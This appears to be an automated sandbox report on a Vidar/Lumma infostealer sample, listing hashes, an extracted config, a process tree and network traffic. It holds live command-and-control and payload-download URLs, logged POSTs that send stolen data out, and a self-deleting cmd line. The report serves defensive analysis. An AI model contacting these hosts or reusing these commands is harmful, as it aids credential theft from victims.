Analysis
-
max time kernel
56s -
max time network
51s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
05-10-2024 22:08
Static task
static1
Behavioral task
behavioral1
Sample
64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe
Resource
win7-20240903-en
General
-
Target
64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe
-
Size
550KB
-
MD5
cf53e6a7d56bf434be708446086ba2d6
-
SHA1
cb4df70615ed22b9aa6acfcfe804b717197d00da
-
SHA256
64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f
-
SHA512
780c03ee844829c7c47ae779e8343616507d1aa4d4c814c2960dc8167f84e17e6daecfe2812e7500a95c7113b240e6bfa03e7813913db88e826b97c26d1f5ce2
-
SSDEEP
12288:9kAw4CrufBG6P0BVYp6e/r3q6qeDT9yGZ1P:9ibLeaYpB63eDT9/Zl
Malware Config
Extracted
vidar
http://proxy.johnmccrea.com/
https://steamcommunity.com/profiles/76561199780418869
https://t.me/ae5ed
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Extracted
lumma
Signatures
-
Detect Vidar Stealer 16 IoCs
resource yara_rule behavioral1/memory/1124-10-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-5-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-13-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-6-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-4-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-9-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-14-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-15-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-32-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-33-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-62-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-63-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-70-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-71-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-72-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 behavioral1/memory/1124-105-0x0000000000400000-0x0000000000676000-memory.dmp family_vidar_v7 -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 1820 IJECBGIJDG.exe -
Loads dropped DLL 11 IoCs
pid Process 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1680 WerFault.exe 1680 WerFault.exe 1680 WerFault.exe 1680 WerFault.exe 1680 WerFault.exe -
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3060 set thread context of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 1820 set thread context of 2364 1820 IJECBGIJDG.exe 34 -
Program crash 3 IoCs
pid pid_target Process procid_target 2428 3060 WerFault.exe 28 1680 1820 WerFault.exe 33 1808 2364 WerFault.exe 34 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IJECBGIJDG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MSBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MSBuild.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2060 timeout.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe 1124 MSBuild.exe -
Suspicious use of WriteProcessMemory 45 IoCs
description pid Process procid_target PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 1124 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 29 PID 3060 wrote to memory of 2428 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 30 PID 3060 wrote to memory of 2428 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 30 PID 3060 wrote to memory of 2428 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 30 PID 3060 wrote to memory of 2428 3060 64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe 30 PID 1124 wrote to memory of 1820 1124 MSBuild.exe 33 PID 1124 wrote to memory of 1820 1124 MSBuild.exe 33 PID 1124 wrote to memory of 1820 1124 MSBuild.exe 33 PID 1124 wrote to memory of 1820 1124 MSBuild.exe 33 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 2364 1820 IJECBGIJDG.exe 34 PID 1820 wrote to memory of 1680 1820 IJECBGIJDG.exe 36 PID 1820 wrote to memory of 1680 1820 IJECBGIJDG.exe 36 PID 1820 wrote to memory of 1680 1820 IJECBGIJDG.exe 36 PID 1820 wrote to memory of 1680 1820 IJECBGIJDG.exe 36 PID 2364 wrote to memory of 1808 2364 MSBuild.exe 35 PID 2364 wrote to memory of 1808 2364 MSBuild.exe 35 PID 2364 wrote to memory of 1808 2364 MSBuild.exe 35 PID 2364 wrote to memory of 1808 2364 MSBuild.exe 35 PID 1124 wrote to memory of 1016 1124 MSBuild.exe 37 PID 1124 wrote to memory of 1016 1124 MSBuild.exe 37 PID 1124 wrote to memory of 1016 1124 MSBuild.exe 37 PID 1124 wrote to memory of 1016 1124 MSBuild.exe 37 PID 1016 wrote to memory of 2060 1016 cmd.exe 39 PID 1016 wrote to memory of 2060 1016 cmd.exe 39 PID 1016 wrote to memory of 2060 1016 cmd.exe 39 PID 1016 wrote to memory of 2060 1016 cmd.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe"C:\Users\Admin\AppData\Local\Temp\64dae347d9fd43c6051858cfdf7ac720fac46461bba66e889ffc5057b635ec3f.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\ProgramData\IJECBGIJDG.exe"C:\ProgramData\IJECBGIJDG.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 1485⤵
- Program crash
PID:1808
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 524⤵
- Loads dropped DLL
- Program crash
PID:1680
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BAKEBAFIIECB" & exit3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\SysWOW64\timeout.exetimeout /t 104⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2060
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 522⤵
- Program crash
PID:2428
-
Network
-
Remote address:8.8.8.8:53Requestproxy.johnmccrea.comIN AResponseproxy.johnmccrea.comIN A141.98.233.156
-
Remote address:141.98.233.156:80RequestGET / HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC
Host: proxy.johnmccrea.com
Content-Length: 256
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIE
Host: proxy.johnmccrea.com
Content-Length: 332
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF
Host: proxy.johnmccrea.com
Content-Length: 4909
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestGET //sql.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:55 GMT
Content-Type: application/octet-stream
Content-Length: 2459136
Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT
Connection: keep-alive
ETag: "6560a86a-258600"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECF
Host: proxy.johnmccrea.com
Content-Length: 437
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestGET //freebl3.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:57 GMT
Content-Type: application/octet-stream
Content-Length: 685392
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-a7550"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestGET //mozglue.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:58 GMT
Content-Type: application/octet-stream
Content-Length: 608080
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-94750"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestGET //msvcp140.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:58 GMT
Content-Type: application/octet-stream
Content-Length: 450024
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-6dde8"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestGET //softokn3.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:58 GMT
Content-Type: application/octet-stream
Content-Length: 257872
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-3ef50"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestGET //vcruntime140.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:58 GMT
Content-Type: application/octet-stream
Content-Length: 80880
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-13bf0"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestGET //nss3.dll HTTP/1.1
Host: proxy.johnmccrea.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:08:58 GMT
Content-Type: application/octet-stream
Content-Length: 2046288
Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
Connection: keep-alive
ETag: "6315a9f4-1f3950"
Accept-Ranges: bytes
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDA
Host: proxy.johnmccrea.com
Content-Length: 905
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFI
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:01 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:01 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK
Host: proxy.johnmccrea.com
Content-Length: 461
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:02 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ
Host: proxy.johnmccrea.com
Content-Length: 96337
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA
Host: proxy.johnmccrea.com
Content-Length: 499
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:141.98.233.156:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA
Host: proxy.johnmccrea.com
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:8.8.8.8:53Requestjask.powerforxes.shopIN AResponsejask.powerforxes.shopIN A147.45.44.104
-
Remote address:147.45.44.104:80RequestGET /ldms/a43486128347.exe HTTP/1.1
Host: jask.powerforxes.shop
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Sat, 05 Oct 2024 22:09:04 GMT
Content-Type: application/octet-stream
Content-Length: 561192
Last-Modified: Sat, 05 Oct 2024 22:00:01 GMT
Connection: keep-alive
Keep-Alive: timeout=120
ETag: "6701b6e1-89028"
X-Content-Type-Options: nosniff
Accept-Ranges: bytes
-
Remote address:8.8.8.8:53Requestcowod.hopto.orgIN AResponsecowod.hopto.orgIN A45.132.206.251
-
Remote address:45.132.206.251:80RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA
Host: cowod.hopto.org
Content-Length: 2717
Connection: Keep-Alive
Cache-Control: no-cache
-
242.2kB 6.8MB 2867 4939
HTTP Request
GET http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//sql.dllHTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//freebl3.dllHTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//mozglue.dllHTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//msvcp140.dllHTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//softokn3.dllHTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//vcruntime140.dllHTTP Response
200HTTP Request
GET http://proxy.johnmccrea.com//nss3.dllHTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200HTTP Request
POST http://proxy.johnmccrea.com/HTTP Response
200 -
10.7kB 578.1kB 230 415
HTTP Request
GET http://jask.powerforxes.shop/ldms/a43486128347.exeHTTP Response
200 -
3.2kB 172 B 7 4
HTTP Request
POST http://cowod.hopto.org/
-
66 B 82 B 1 1
DNS Request
proxy.johnmccrea.com
DNS Response
141.98.233.156
-
67 B 83 B 1 1
DNS Request
jask.powerforxes.shop
DNS Response
147.45.44.104
-
61 B 77 B 1 1
DNS Request
cowod.hopto.org
DNS Response
45.132.206.251
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
548KB
MD5bdd0a51b07797cf596950e1cedc90e93
SHA1d0fd5aede5693df3d1675f049392506c0289df7e
SHA2567b467a82e1138ade052abc2151d1ebfd6d5dae99fc76f2a7a9f8c9d95d66eae2
SHA512500ecb52c14aa9e1ff81e097b2d97a8ad331915c47e6de87cec93ccd3da21961b45a639a1149b208c0ed656ec7633ead02d28b147b121f33cb3e2d0af34d5efd
-
Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571